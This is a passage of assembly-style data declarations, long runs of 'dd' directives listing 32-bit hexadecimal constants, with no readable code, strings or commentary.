0C8184EC9h, 0DC542682h, 0A52C68AAh dd 1A2E8778h, 2FCBA1A5h, 79BD6561h, 74932193h, 93A3A4DDh dd 0BB01BD5Ah, 398099A8h, 344727Dh, 38C03E3h, 5B6C7AFDh dd 0C147269Dh, 0D8BA9354h, 0E9F7FB2h, 7950DF91h, 0B53FE3CBh dd 381236BCh, 35E1AAA3h, 17069D51h, 36F70FB3h, 0B917268Fh dd 5A528736h, 535E46ABh, 76C0D16Fh, 1DFED9E7h, 0F017E0E5h dd 0E742C0Ch, 0D51C92B3h, 44A74B7Eh, 0CFAFE13h, 881E0EC9h dd 9C506682h, 0E52428AAh, 5A1EC778h, 6FEBE1A5h, 397D2561h dd 34136193h, 0D0A3E4DDh, 0F901FD5Ah, 7D80D9A8h, 4B44327Dh dd 338C43E3h, 0FB6C3AFDh, 4147669Ch, 18BAD353h, 4E9F3FB1h dd 39509F93h, 0F53FA3CFh, 781276B4h, 75E1EAB3h, 5706DD71h dd 0F6F7CFF3h, 7917E70Fh, 9A524636h, 935E84ABh, 0B6C0156Fh dd 0DDFE21E7h, 3008D0E5h, 0CE748C0Ch, 151C12B3h, 84A60B7Eh dd 0CCFB3E13h, 481CCEC9h, 5CACA682h, 253CE8AAh, 9A0E0778h dd 0AF8B21A5h, 0F93DE561h, 0F593A193h, 11A324DDh, 37013D5Ah dd 818019A8h, 9344F27Dh, 0E38C83E3h, 1B6CFAFDh, 0C147A69Ch dd 58BA1353h, 8E9FFFB0h, 0F9505F95h, 353F63C3h, 0B812B6ACh dd 0B5E12D43h, 97061D11h, 0B6F78C33h, 3917A78Fh, 0DA520536h dd 0D35EC2ABh, 0F6C0596Fh, 9DFE69E7h, 700880E5h, 8E74EC0Ch dd 551F92B3h, 0C4A6CB7Eh, 8CF87E13h, 8128EC9h, 1CA8E682h dd 6534A8AAh, 0D9FE4778h, 0EFAB61A5h, 0BEFDA561h, 0B513E193h dd 56A364DDh, 75017D5Ah, 0C58059A8h, 0DB44B27Dh, 938CC3E3h dd 3B6CBAFDh, 4147E69Ch, 98BA5352h, 0CE9FBFBFh, 0B9501F97h dd 753F23C7h, 0F812F6A4h, 0F5E16D53h, 0D7065D31h, 5F174C73h dd 8FF70CEFh, 73B2ACD6h, 14BE2F4Bh, 0F20958Fh, 622D8936h dd 85DF4A30h, 22F6A3D5h, 84996737h, 247BA8AEh, 6E2F9FC7h dd 9DB16111h, 83017A21h, 0BEEC724Ah, 40E9B98h, 30EB9B45h dd 5F5D4581h, 55335A73h, 0B243803Dh, 94A15832h, 0A460B148h dd 48E5CF4Ah, 175BCF83h, 0E3CF15DEh, 45121312h, 1E1C320Ah dd 389674A7h, 7CFDD126h, 0C426EBC6h, 3FA88E0Bh, 0D57EE23Ch dd 2893B67Eh, 0F3174C53h, 0FAB6F5B8h, 1FB2CFD6h, 1481E84Bh dd 3F20A98Fh, 661EB307h, 89DB5E34h, 79A3D4D9h, 0C7BD836Ah dd 170F5CDAh, 6A2C9BC3h, 0E8C06D1Dh, 0A721075Ah, 0D8811629h dd 4270D298h, 56E5D645h, 11DC0B81h, 3B926D73h, 0F943803Dh dd 0F5F19B14h, 1B70B1E6h, 23B45833h, 0B47C2FADh, 779C54B2h dd 6B716CDh, 84AA11Fh, 586F4BF3h, 1FA0E9C5h, 0ACCFDB71h dd 77D22159h, 616CE3F6h, 4192C27Fh, 771D2B7Dh, 94900A9Ch dd 3C92A2B7h, 66DB6E4Bh, 5E4EC4E2h, 38712273h, 0CC8D6E25h dd 35E7E799h, 0F291EB53h, 7321F5FFh, 366BD9D3h, 0BA93395Bh dd 0A63F5F42h, 0BE8F012Fh, 615AF5F1h, 409ECD37h, 31B22CF5h dd 221D6A73h, 0D42AEC5Ch, 0D99FE9Ah, 5914C42Ah, 78C134F9h dd 0EB08406Ch, 5DFE3504h, 15CA7E67h, 0CB39C8A5h, 540D38F9h dd 2CD1E99Fh, 8CABAABCh, 3F20A6Ch, 8019DE3h, 28E6AB71h dd 47175DD3h, 0FAF7436Fh, 1FB30DF8h, 14BE9C4Bh, 3F23A18Fh dd 49E04307h, 0BDEC0C05h, 419CA2ECh, 848E4253h, 1768199Eh dd 58DCAAF3h, 0DF4A5829h, 0CA583E62h, 0BCF4724Ah, 5E9B98h dd 38CBBF45h, 6E1D4581h, 34F30373h, 7F43803Dh, 0EAE19BBBh dd 3C60B14Eh, 50A45899h, 0BE6C2F0Bh, 548C540Ch, 0B0A71603h dd 6B5AA1F0h, 3B7F4ADBh, 4EB0EA6Fh, 8CDFD9D7h, 3F20864h dd 80199F3h, 28E6B351h, 77176D93h, 0FAF4A0EFh, 1FB34CD6h dd 14BD1E4Bh, 3F22A58Fh, 49E25B07h, 0BDE03C05h, 466342ECh dd 849E0253h, 108B999Eh, 29DAAF3h, 83930372h, 900F6539h dd 0BA0C7211h, 0C4E9B98h, 32BBF45h, 7E5D4581h, 13730373h dd 3E43803Dh, 6CE19BBBh, 3060B14Fh, 68A45897h, 0AE6C2F17h dd 748C57F4h, 0F0A71633h, 0EB5AA210h, 3B7F4A1Ah, 4EB0EAE1h dd 8CDFDECBh, 0BF2069Ch, 180185C3h, 8E684B1h, 37177D53h dd 7AF4806Fh, 1FB38BD6h, 14BD904Ah, 3F2DB98Dh, 49E45303h dd 0BDE42C05h, 666B62ECh, 84B75156h, 10AB199Eh, 5852AAF3h dd 304E5829h, 18403F67h, 14734Fh, 0A86E9A9Dh, 0B1BBE40h dd 0E9D4581h, 0F3F30373h, 0FD43803Ch, 0EEE19BB4h, 3460B14Ch dd 60A45895h, 0DE6C2F13h, 948C57FCh, 30A71622h, 6B5AA24Fh dd 3B7F4A59h, 4EB0EB63h, 8CDFDFCFh, 3F20494h, 80181D3h dd 28E68C91h, 77178D13h, 0FAF4E1EFh, 1FB3CAD6h, 14BC124Bh dd 3F2CBD8Fh, 49E66B07h, 0BDD8DC05h, 467302ECh, 84BE8253h dd 10CA999Eh, 5913AAF3h, 0D9CC5829h, 416C3E62h, 3F0C72BBh dd 0FC7E9B69h, 9B7BBFB4h, 96CD4570h, 5A630382h, 0D45380CDh dd 60F19B45h, 0C860B14Dh, 78A45892h, 0CE6C2F11h, 0B48C57F8h dd 70A7162Ah, 0EB5AA25Fh, 3B7F4A78h, 4EB0EB25h, 8CDFDC43h dd 1F2058Ch, 901832Bh, 0FCE688F1h, 0A2079A22h, 2EE4D19Eh dd 0CBAC2927h, 0C0AC54BAh, 0EB3F317Eh, 0FDF763F6h, 0BDCACCF4h dd 467F22ECh, 84414253h, 10DA199Eh, 5BF0AAF3h, 0D9825829h dd 0CEE83E62h, 0B714724Ah, 729E9B98h, 1F4BBF45h, 271D4581h dd 0C0F3037Bh, 6B43803Ch, 62F19B44h, 0BC70B1BCh, 80B45863h dd 0E7C2FEFh, 0F49C5714h, 0B0B71620h, 6B4AA29Ch, 3B7F4DA7h dd 4EB0EBE7h, 8CDFDCC7h, 3F20284h, 8018D33h, 28E694D1h dd 7717A293h, 0FAF43EEFh, 1FBC08D6h, 54BC964Bh, 0B33FB57Eh dd 91F87BF6h, 0BDCCFCF4h, 467BC2ECh, 84490253h, 10ED999Eh dd 5BD1AAF3h, 0D9405829h dd 0CE643E62h, 0B42C724Ah, 708E9B98h, 1BABBF45h, 2D5D4581h dd 0B1730373h, 7A43803Ch, 0E4E19BB5h, 0C060B152h, 88A45890h dd 0EE6C2F1Ch, 0F48C57E6h, 0F0A716D6h, 0EB5AA266h, 3B7F4DB6h dd 4EB0EBB9h, 8CDFDCBBh, 3F2033Ch, 8018C03h, 28E69631h dd 7717A653h, 0FAF4366Fh, 1FBC67D6h, 14BCC84Bh, 3F2E098Fh dd 49E9F307h, 0BDDDEC05h, 4679E2ECh, 8455C253h, 10F5199Eh dd 5BC6AAF3h, 0D9265829h, 0CE203E62h, 0B5A4724Ah, 71BE9B98h dd 0E58BBF45h, 319D4580h, 0A9F3037Dh, 69438020h, 0C6E19A4Dh dd 8460B162h, 0A45B70h, 1E6C2FDDh, 148C5761h, 30A711D5h dd 6B5AAC65h, 3B7F51B5h, 4EB0E3BBh, 8CDFCCBFh, 3F22334h dd 8014C13h, 28E61611h, 7718A613h, 0FAF237EFh, 1FB866D6h dd 14B4CA4Bh, 3F1E0D8Fh, 49C98B07h, 0BD1D9C05h, 46F982ECh dd 87558253h, 12F4999Eh, 5FC7AAF3h, 0D1245829h, 0BE3C3E62h dd 55BC724Ah, 0B1AE9B99h, 65EBBF4Ah, 31DD4583h, 0A873037Fh dd 68438024h, 0D8E19A45h, 9860B172h, 18A45B50h, 0E6C2F9Dh dd 348C56E1h, 70A710D5h, 0EB5AAE65h, 3B7F55B4h, 4EB0DBBDh dd 8CDF3CB3h, 3F2432Ch, 8010C63h, 28E79671h, 7719A7D3h dd 0FAF0376Fh, 1F8465D6h, 14ACCC4Bh, 3F0E018Fh, 49A98307h dd 0BD5D8C05h, 4779A2ECh, 86544253h, 1CF4199Eh, 23C4AAF3h dd 0C93A5829h, 0AE383E62h, 75B4724Ah, 0F1DE9B99h, 0E5CBBF4Ah dd 301D4582h, 0A8F30379h, 57438028h, 0DAE19A5Dh, 9C60B182h dd 10A45B30h, 3E6C285Dh, 548C5661h, 0B0A713D5h, 6B5AA864h dd 3B7F59B3h, 4EB0D3BFh, 8CDF2CB7h, 3F26324h, 81ECC73h dd 28E71651h, 771AA793h, 0FAFE34EFh, 1F8064D6h, 14A4CE4Bh dd 3FFE058Fh, 49899B07h, 0BE9DBC05h, 47F842ECh, 81540253h dd 1EF7999Eh, 27C5AAF3h, 0C1385829h, 9E343E62h, 15CC724Ah dd 31CE9B99h, 642BBF4Bh, 305D459Dh, 0A773037Bh, 5643802Ch dd 0DCE19A55h, 9060B192h, 28A45B10h, 2E6C281Dh, 748C59E1h dd 0F0A712D5h, 0EB5AAA64h, 3B7F5DB2h, 4EB0CBB1h, 8CDF1CABh dd 3F2835Ch, 81E8C43h, 28E097B1h, 771BA753h, 0FAFC346Fh dd 1F8C63D6h, 149CC04Bh, 3FEE198Fh, 49699307h, 0BEDDAC05h dd 447862ECh, 8054C253h, 18F7199Eh, 2BBAAAF3h, 393E5829h dd 8E303E63h, 35C4724Ch, 71FE9B95h, 0E40BBF53h, 309D45ECh dd 0A7F30325h, 554381D0h, 0DEE19AEDh, 9460B2A2h, 20A45DF0h dd 5E6C24DDh, 948C4161h, 30A73DD4h, 6B5B7463h, 3B7EE1B1h dd 4EB043B3h, 8CDC0CAFh, 3ECA354h, 81A4C53h, 28E81791h dd 776CA713h, 0FADA35EFh, 1E4862D6h, 1414C24Bh, 20DE1D8Fh dd 4B49AB07h, 0BA1E5C05h, 4CF802ECh, 0B3548253h, 7AF6999Eh dd 0EFBBAAF3h, 0B13C5828h, 7FCC3E64h, 0D5DC724Fh, 0B1EE9B96h dd 646BBF50h, 30DD45EFh, 0A6730327h, 544381D4h, 0D0E19AE5h dd 0A860B2B2h, 38A45DD0h, 4E6C249Dh, 0B48C40E1h, 70A73CD4h dd 0EB5B7663h, 3B7EE5B0h, 4EB03BB5h, 8CDC7CA3h, 3ECC34Ch dd 81A0FA3h, 28E997F1h, 776DA4D3h, 0FAD8356Fh, 1E5461D6h dd 140CC44Bh, 20CE118Fh, 4B29A307h, 0BA5E4C05h, 4D7822ECh dd 0B2574253h, 64F6199Eh, 0F3B8AAF3h, 0A9325828h, 6FC83E64h dd 0F5D4724Fh, 0FE1E9B96h, 0E44BBF50h, 371D45EEh, 0A6F30321h dd 534381D8h, 0D2E19AFDh, 0AC60B2C2h, 30A45DB0h, 7E6C255Dh dd 0D48C4061h, 0B0A73FD4h, 6B5B7062h, 3B7EE9BFh, 4EB033B7h dd 8CDC6CA7h, 3ECE344h, 81BCFB3h, 28E917D1h, 776EA493h dd 0FAC632EFh, 1E5060D6h, 0EB04C64Bh, 2541EA70h, 40C9BB07h dd 0A69E7C05h, 4938C2ECh, 3B570253h, 6239999Eh, 7AB9AAF3h dd 0A9F05828h, 0D1C43E64h, 9D2C724Fh, 0B10E9B96h, 6C6BBF51h dd 0A75D45E9h, 0ADB30323h, 0C34381DCh, 0DC219AF5h, 3260B2D2h dd 40645D90h, 0FD6C251Dh, 0FC4C43E1h, 0F0A73ED4h, 0EB5B7262h dd 3B7EEDBEh, 4EB02BA9h, 8CDC5D5Bh, 3ED037Ch, 81B8F83h dd 28EA9731h, 776FA457h, 0FAC4326Fh, 1E5C6FD6h, 147CD84Bh dd 20AE298Fh, 4AE9B307h, 0BBDE6C05h, 7278E2ECh, 0AC57C253h dd 60F9199Eh, 0FBBEAAF3h, 99365828h, 4FC03E64h, 0B5E4724Fh dd 7E3E9B96h, 0E48BBF51h, 379D45E8h, 0A5F3032Dh, 514381C0h dd 0D6E19A8Dh, 0A460B2E2h, 40A45C70h, 9E6C25DDh, 148C4360h dd 30A739DBh, 6B5B7C61h, 3B7EF1BDh, 4EB023ABh, 8CDC4D5Fh dd 3ED2374h, 81B4F93h, 28EA1711h, 7770A413h, 0FAC233EFh dd 1E586ED6h, 1474DA4Bh, 209E2D8Fh, 4AC94B07h, 0BB1E1C05h dd 72F882ECh, 0AF578253h, 62F8999Eh, 0FFBFAAF3h, 91345828h dd 1FDC3E64h, 55EC72A8h, 0BE2E9B97h, 64EBBF56h, 37DD45EBh dd 0A473032Fh, 504381C4h, 0A8E19A85h, 0B860B2F2h, 58A45C50h dd 8E6C259Dh, 348C42E0h, 70A738DBh, 0EB5B7E61h, 3B7EF5BCh dd 4EB01BADh, 8CDDBD53h, 3ED436Ch, 81B0FE3h, 28EB9771h dd 7771A5D3h, 0FAC0336Fh, 1E246DD6h, 146CDC4Bh, 208E218Fh dd 4AA94307h, 0BB5E0C05h, 7378A2ECh, 0AE564253h, 6CF8199Eh dd 0C3BCAAF3h, 890A5828h, 2FD83E64h, 75F4724Fh, 0FE5E9B97h dd 0E4CBBF56h, 361D45EAh, 0A4F30329h, 5F4381C8h, 0AAE19A9Dh dd 0BC60B302h, 50A45C30h, 0BE6C265Dh, 548C4260h, 0B0A73BDBh dd 6B5B7860h, 3B7EF9BBh, 4EB013AFh, 8CDDAD57h, 3ED6364h dd 818CFF3h, 28EB1751h, 7772A593h, 0FACE30EFh, 1E206CD6h dd 1464DE4Bh, 217E258Fh, 4A895B07h, 0B49E3C05h, 73C742ECh dd 0A9560253h, 6EFB999Eh, 0C7BDAAF3h, 81085828h, 1FD43E64h dd 150C724Fh, 3E4E9B97h, 672BBF57h, 365D45E5h, 0A373032Bh dd 5E4381CCh, 0ACE19A95h, 0B060B312h, 68A45C10h, 0AE6C261Dh dd 748C45E0h, 0F0A73ADBh, 0EB5B7A60h, 3B7EFDBAh, 4EB00BA1h dd 8CDD9D4Bh, 53ED839Ch, 8188FC3h, 129490B1h, 7763A5B4h dd 0F9CC306Fh, 82C6BD6h, 144CD0A1h, 216E398Fh, 4A695307h dd 0B4DE2C05h, 704762ECh, 0A856C253h, 68FB199Eh, 0CBB2AAF3h dd 0F90E5828h, 0FD03E64h, 3504724Fh, 7E7E9B97h, 0E70BBF57h dd 369D45E4h, 0A3F30335h, 4B4381B0h, 0AEF19A47h, 0B460B322h dd 60A45CF0h, 0DE6C26DDh, 948C4560h, 30A735DAh, 6B5B647Fh dd 3B7EC1B9h, 4EB003A3h, 8CDD8D4Fh, 3EDA394h, 8184FD3h dd 28941091h, 7774A513h, 0FACA31EFh, 8286AD6h, 1444D2A1h dd 215E3D8Fh, 4A496B07h, 0B41EDC05h, 70C702ECh, 0AB568253h dd 6AFA999Eh, 0CFB3AAF3h, 0F10C5828h, 0FFEC3E64h, 0D51C724Eh dd 0BE6E9B90h, 676BBF54h, 36DD45E7h, 0A2730337h, 4A4381B4h dd 0A0F19A4Fh, 4860B332h, 78A45CD1h, 0CE6C269Bh, 0B48C44ECh dd 70A734C2h, 0EB5B668Fh, 3B7EC5D8h, 4EB3F465h, 8CDDFDC3h dd 3EDC08Ch, 8180923h, 28959CF1h, 7775B2D3h, 0FAC8216Fh dd 823449D6h, 885B14A6h, 0BD5EB162h, 0D63A63EAh, 2840CCE8h dd 0ED532201h, 364942BEh, 2B1A1973h, 0ACEFD58Ch, 95BD2757h dd 9017411Bh, 6F147231h, 608E9B7Dh, 7F5BBFB9h, 3D0D450Bh dd 92F30331h, 3B3C71B8h, 62E19ABDh, 0CC1F4B43h, 70A45C8Eh dd 0FE50B759h, 0D48C4468h, 0B09977CAh, 6B5B609Eh, 3B3EFB07h dd 4EB3EC27h, 0CDDD247h, 3EDE17Eh, 819CB33h, 0E69518D1h dd 1B76BB93h, 53360E13h, 1E30A82Dh, 1443564Bh, 0F39358Fh dd 0DE0B7A05h, 4592FCF8h, 71CFC217h, 0A5610253h, 0CE1D999Eh dd 0B71ABF1h, 0B28058D5h dd 0DCE43E98h, 932C724Eh, 828E9B90h, 53ABBE57h, 9D5D451Fh dd 817303CEh, 1A4381BAh, 30E19AB9h, 460B248h, 88A45C61h dd 0EE6C2706h, 0F48C442Ah, 0F0A7364Eh, 0EB5B6196h, 637ECB16h dd 26B3E807h, 8DDDAC5h, 9FEE0EC2h, 0BC19AAFDh, 0EC955ACFh dd 0A3773EADh, 11370691h, 0E6328728h, 25BF88B5h, 3F218970h dd 641CF3F8h, 0F5F3ECFAh, 258DE213h, 0C6EDC2ACh, 23251961h dd 0A566AA0Ch, 4C6658D7h, 66A03E9Bh, 30A472B1h, 0D9BE9B6Fh dd 0FB8BBFAAh, 0A99D451Eh, 89F303CCh, 0D438142h, 16E19BBBh dd 2260B24Fh, 3CA45D97h, 566C2617h, 408C46F5h, 54A7370Dh dd 1B5B6315h, 0BD7ECB15h, 0EEB3EBFBh, 3EDDDF3Fh, 23EE0734h dd 38199B10h, 1696BB12h, 39777F10h, 0A53486ECh, 723387D5h dd 51BD8B48h, 0A72D8C8Ch, 0D9E48A04h, 17E39D06h, 0D86D83EFh dd 18AD8350h, 98A4989Dh, 0C67ABF0h, 3C64592Bh, 34BC3F67h dd 0B2BC734Dh, 1DAE9A94h, 25EBBE51h, 3FDD44E5h, 0BC730237h dd 5A4380B8h, 76E19BB1h, 9060B257h, 82A45E6Bh, 0A66C2623h dd 888C46D1h, 0BEA737C9h, 0B5B6391h, 0C37ECC10h, 5CB3E5F9h dd 0AEDDC336h, 31EE3F29h, 36198B66h, 66969B74h, 1177BED6h dd 8334066Ah, 9A3C84D3h, 2BBB8D4Eh, 0FD29818Fh, 0A3EC8207h dd 0B5D38D05h, 784DA3EDh, 0BA6C4352h, 7E24189Fh, 9564ABF2h dd 0B07A5929h, 0B0B83F65h, 3CB4734Fh, 0D9DE9A91h, 51CBBE54h dd 181D44E1h, 90F3023Dh, 0F4380BEh, 10E19BB7h, 660B253h dd 10A45E69h, 4D6C272Fh, 200C47C5h, 0A72736EDh, 7EDB62D4h dd 38FECC93h, 5C33E5FFh, 805DC037h, 0A6E3A24h, 0C997273h dd 2A16EA51h, 7AF7DF93h, 0FAB444EFh, 11BD04D6h, 3B3A8E4Bh dd 32AB858Fh, 47709B07h, 814BBC05h, 70DC42ECh, 9D8C0253h dd 5BE7999Eh, 0CE65AAF3h, 0CAF85828h, 0DD343E64h, 0AC4C724Eh dd 0C7CE9B90h, 0F82BBE57h, 2E5D45E0h, 0E173023Eh, 9C4380BDh dd 1CE19BB5h, 1060B254h, 70A45F67h, 466C27C9h, 0F08C474Bh dd 6CA73673h, 5F5B63EAh, 0FF7ECCECh, 9AB3E60Fh, 66DDC6D5h dd 0FBEE36A2h, 6197ABDh, 3696FB4Eh, 5977FFACh, 0BB358490h dd 4A3D8329h, 49B980B4h, 55159970h, 31F493F8h, 27C3ACFAh dd 0D42C6213h, 142CC2ACh, 93A71961h, 85AAA0Ch, 347E58D7h dd 40B03E9Bh, 0ACC472B1h, 7BFE9A90h, 0EE0BBE55h, 0B49D44E0h dd 0BFF3023Ch, 0A14380BEh, 7AE19BB0h, 6460B255h, 0A6A45E63h dd 0FE6C263Fh, 268C46A5h, 10A737ACh, 5B5B6250h, 57ECE92h dd 0B3E6F0h, 0D2DDC52Ch, 6FEE3357h, 72196350h, 0AE96CA92h dd 0E3781E10h, 5935C4ECh, 0B03E03D5h, 97B88348h, 0E9179C8Ch dd 99F8AA04h, 513C5D06h, 8A3C03EFh, 0ADCC8350h, 47E6989Ah dd 0F1DBABF7h, 0E37C592Ch, 0F24C3F60h, 0F6DC734Ah, 3DEE9A94h dd 506BBE51h, 32DD44E4h, 1E730238h, 0C84380BAh, 0DEE19BB5h dd 0C860B25Fh, 0C0A45E7Bh, 5C6C26C3h, 968C4690h, 42A73049h dd 0D55B6296h, 757ECE15h, 28B3E1F0h, 0F4DDCB26h, 87EE2F49h dd 81954A6h, 0F496DBF1h, 99783DD3h, 0FB35046Fh, 103E80D7h dd 35B7854Ah, 0F11908Eh, 3FCA206h, 0DF344D04h, 0A0C23EDh dd 2BEF4352h, 0F326189Fh, 6558ABF2h, 6725929h, 5C483F65h dd 58D4734Fh, 521E9A91h, 0B24BBE57h, 4F1D44E2h, 5F3033Dh dd 87C381A1h, 5619AB2h, 39E0B359h, 33245F7Bh, 6CEC27CFh dd 0D80C4785h, 0B927316Ch, 6FDB63D2h, 39FECE9Fh, 4333E1F7h dd 8D5DC827h, 0C6E2A44h, 18995DB3h, 3B162BD1h, 7DF85C93h dd 0CFB542EFh, 18BF00D6h, 1236864Bh, 2A93958Fh, 5940BB07h dd 0A4AC7C05h, 199CC2ECh, 0A70F0253h, 0F569999Eh, 0DCD9ABF1h dd 11705828h, 6C443F66h, 0B6EC734Ch, 400E9A93h, 0B8ABBE58h dd 6F5D45FCh, 411645C5h, 1920E8C5h, 7A94F610h, 2060B3EBh dd 21CA16F7h, 20D49A3h, 0B7E9331Ch, 99D3447Eh, 0B8373571h dd 520ABD7Bh, 4EB3AC86h, 0F8B34BDBh, 71ADD419h, 6B7F31EAh dd 4DC35750h, 18150830h, 0FB3A8201h, 7F6AC3D6h, 59D6FD3Dh dd 42B4DDE6h, 2817DF66h, 0D94D1866h, 74ECE282h, 0D7CA8553h dd 12CD6DCDh, 0C03AC492h, 3076584Dh, 0C257965h, 0B9871D0Dh dd 2557CFFEh, 888BBF3Ch, 7BF802F8h, 80976D80h, 9805E4ECh dd 77AFFC60h, 2421D6B0h, 0CA45E73h, 0F20D42B0h, 7BE02725h dd 30A729B0h, 0E291F51h, 7D1B45FCh, 3D6CF82h, 0E5AD3CBEh dd 3AE451Ah, 4F174D93h, 49DE7F74h, 505E860h, 0FB50AC9Dh dd 53180ED6h, 42A2EA2Ah, 47D0DAEAh, 29A42241h, 0E21C1C05h dd 0A9DEF82h, 0A82AEB05h, 2BAEFFD1h, 0BFDFCF9Fh, 74041728h dd 5235780Bh, 249D3F24h, 0D740F2E3h, 98EBBF1Fh, 40B106FAh dd 0D53B67BAh, 152FE5E6h, 0ABE1991Dh, 5910D96Dh, 2CF73B43h dd 0E9024B29h, 348C4A2Dh, 15CB78C3h, 0EB5B2814h, 4F1070DCh dd 21DFFE08h, 0E8A7C6B0h, 6B8C1829h, 6D73A782h, 6B931371h dd 323C8A1h, 8F5B6E0Ah, 1EA135B3h, 64E31C4Bh, 6F10C4FFh dd 34EF3772h, 0B0900C44h, 1EB6E1ECh, 893B3632h, 2B6B76ECh dd 87DDD980h, 51CA5828h, 7E144A00h, 60B10632h, 3C2CF4E1h dd 24CBBF5Fh, 4A782990h, 0F89A44AEh, 3F43C0E9h, 1E84DE15h dd 4C0DD147h, 38D03FBFh, 0BE6C2266h, 20E90AD4h, 0C0CA4FA7h dd 0E3733D6h, 5E135C55h, 4EB384AEh, 0FCADC1D7h, 6F86F81Dh dd 8143496h, 5CF9C851h, 122FD4D5h, 895874AEh, 6A99EEBFh dd 2B9AED2Eh, 7569A58Fh, 0A183266h, 0D9874E6Ah, 1D272582h dd 0BD04601Ch, 482BEDFDh, 0FF2EC6F3h, 3383B5Ah, 0C547F0Bh dd 447F1E41h, 823F8E1h, 0EB2BFE36h, 0AB2F06F4h, 361676B5h dd 8A2DE4F9h, 0ECE19957h, 4405E710h, 6C128A8h, 0AE6C2257h dd 0E90ADCh, 95CB43A5h, 992F2EF1h, 4F0B5F33h, 4EF2F604h dd 0C5C283CBh, 718AC8F2h, 63771EAFh, 50D988D4h, 1922A530h dd 9F6D0508h, 1EECCBB2h, 5FBF574Bh, 4F05D6CCh, 0A3D66h dd 0F1AD426Ch, 3C5362ECh, 0BA1FB13Ah, 201F7CF2h, 0EF73CF81h dd 9AC3164h, 4E294C04h, 5D681E20h, 363BD093h, 0C047FA11h dd 0B2F96BC6h, 53F302B8h, 0DA26D38Fh, 0F84EB55h, 512BD165h dd 21DC1B92h, 8C6C222Fh, 0F1DF2AA1h, 5CC67CE6h, 131E3F9Ah dd 3B7E3CD8h, 29D6D7E3h, 0FFADEC8Ch, 7A8AF1F1h, 5A147DD3h dd 58D393F4h, 1208B376h, 0BA540496h, 4CED0AD6h, 4E9EF52Eh dd 471FD8E3h, 0D090E4Ch, 0F9CCDC05h, 112F6B82h, 0A267EE32h dd 2B0FCAFBh, 0FEBAD886h, 8291C51h, 82054C06h, 2C6E1D34h dd 336E9B8Dh, 9E38CB46h, 87AF30AFh, 57377B90h, 1531E21Ch dd 928EEDA7h, 0A403D5D2h, 37A451E8h, 9D02595Dh, 0DAED3C83h dd 2C245FBh, 0EB5B4ABEh, 5E0E53B8h, 3CD616CBh, 0E9A16835h dd 3E8BBCDh, 677E3C23h, 4DCB9582h, 14229CA1h, 957CF90Ah dd 1EA805B2h, 7A1AD44Bh, 5B9854FAh, 39030654h, 0E1ABAF6Ch dd 9534398h, 0D0114220h, 0D9125A9Eh, 39D5CD9Ch, 0D2742A4Ah dd 1CAB5B05h, 4A7D142Dh, 6E9E9BCEh, 0A623FC27h, 0A67822AAh dd 4B857091h, 3400E42Ch, 0C588FFF9h, 4C60F424h, 11D003E9h dd 9B3F4A59h, 0B7E503BEh, 0B0A69BE7h, 0E29780Eh, 681B0886h dd 27C57402h, 8C82E4A4h, 47E9B884h, 7C751556h, 5AE1AFB4h dd 12309BE5h, 0A90D9EEFh, 6BFC2FB3h, 7D20642Eh, 461FD9EEh dd 4E330342h, 0DA84BD05h, 536A92ADh, 0A47D2C61h, 0DA8D99F2h dd 3E91AAF2h, 0E3C0582Fh dd 0E6643E66h, 292C7242h, 7E8E9B89h, 0CFABBF2Bh, 0F45D45DCh dd 15730284h, 3843812Fh, 69E19857h, 0C160B597h, 87A453E6h dd 0FE6C3828h, 0E78C79CEh, 0FAA6D286h, 0DF5B2B06h, 3D7E5CF6h dd 77B2C639h, 87C301BBh, 17EAB93Ch, 196E7803h, 4780FE31h dd 205BF653h, 0B03ED93Ch, 7AA395E5h, 2A992427h, 57B04E8Fh dd 2E35834Eh, 0FCA09B77h, 640B688h, 0A925A73Fh, 0E9F971EEh dd 4EFDA93h, 34CA344Bh, 3A203E67h, 59C1062Bh, 22CAFEE5h dd 8CE5DA5Fh, 0C89D45D4h, 7B9676FAh, 6637E461h, 138FFD67h dd 8421DA65h, 49A452E6h, 6C094E47h, 57F818A7h, 55D5A5E9h dd 0F357A4Dh, 3B7DD999h, 3ADCCF3Bh, 0E9AEF3DAh, 628EEB40h dd 64053E77h, 7F8CFE74h, 38EAB85Ah, 9F43C3AAh, 116DCABAh dd 43AB1D4Bh, 4B1668FBh, 2C1CF869h, 88C1DD60h, 1B4DD6ECh dd 0AE51E700h, 0ECE1F5FFh, 4987AAF2h, 0C53D5Dh, 81546A02h dd 2BD81321h, 3FAE9B85h, 0A09ECC56h, 0F3B51049h, 81763C1h dd 6D4382EFh, 0C95F1AFh, 0F905C4FFh, 18A45582h, 7C056229h dd 58ED14BDh, 15C3B0C3h, 0B95B0B05h, 5528F080h, 2ADC2F4Ah dd 0C4C001B3h, 4094D849h, 7C0B1D11h, 2888FE14h, 17CEBFD3h dd 8838D31Fh, 6822D7A2h, 62194C4Bh, 65A560EAh, 201CEF6Bh dd 0C2C18C05h, 3E51C389h, 9C480336h, 0F9947AF1h, 8BE1E2F2h dd 0D1C81E5Eh, 73383E0Dh, 4AD13A47h, 17B7C8F7h, 0CDCBBF52h dd 0E1780C24h, 649254C4h, 6322E6A6h, 5AE198F2h, 0F005F317h dd 53C12083h, 57185F5Bh, 7E004AAh, 0D9D299E0h, 6B5B956Bh dd 5E0FBFF3h, 8D7725Eh, 0CDA4EDDEh, 57E5B924h, 64290B1Fh dd 28D7913Dh, 31B3F793h, 8E0EE08Ah, 7F48D6A4h, 58311A3Fh dd 6C3164EAh, 42739B63h, 0F7ADE805h, 754530AAh, 0BC240253h dd 8CD0EAF2h, 0A6E4FC86h, 0F4B83D5Bh, 9A4C7B68h, 44BE2232h dd 1EBDFEE2h, 992BBF3Bh, 0EE3C2C52h, 63166E20h, 7320FAEAh dd 3388EB27h, 0FC09F1F9h, 28D63292h, 696C3029h, 0DDF1DACh dd 9DC386F6h, 8E368250h, 523BAFB3h, 2719A35Dh, 8CC164C6h dd 7783FE5Ch, 7A070C10h, 61C08AC5h, 37D4913Dh, 0BCBD946Fh dd 784BD7B3h, 50CD2527h, 25D57CFFh, 3116D407h, 0F4B3D946h dd 44540C89h, 8547AD21h, 0D9976AEDh, 0DA0FEEF2h, 55DD3142h dd 12785B1Dh, 4EA81637h, 3EFE9B83h, 0AD43CB5Ah, 0E5F1205Ah dd 69866D17h, 154382FBh, 2A84D817h, 0FD16D652h, 4DCA3994h dd 0D185C4Ch, 0FAE51FBDh, 30A699E3h, 0E299D03h, 4D137994h dd 2022F45Ah, 0F8A8E4C2h, 6A95CD07h, 49171F3Dh, 7EBCFF91h dd 3F7857Ah, 97ECF98Eh, 118ECDBAh, 7FD9424Bh, 53216FE6h dd 3122C766h, 80BB2E60h, 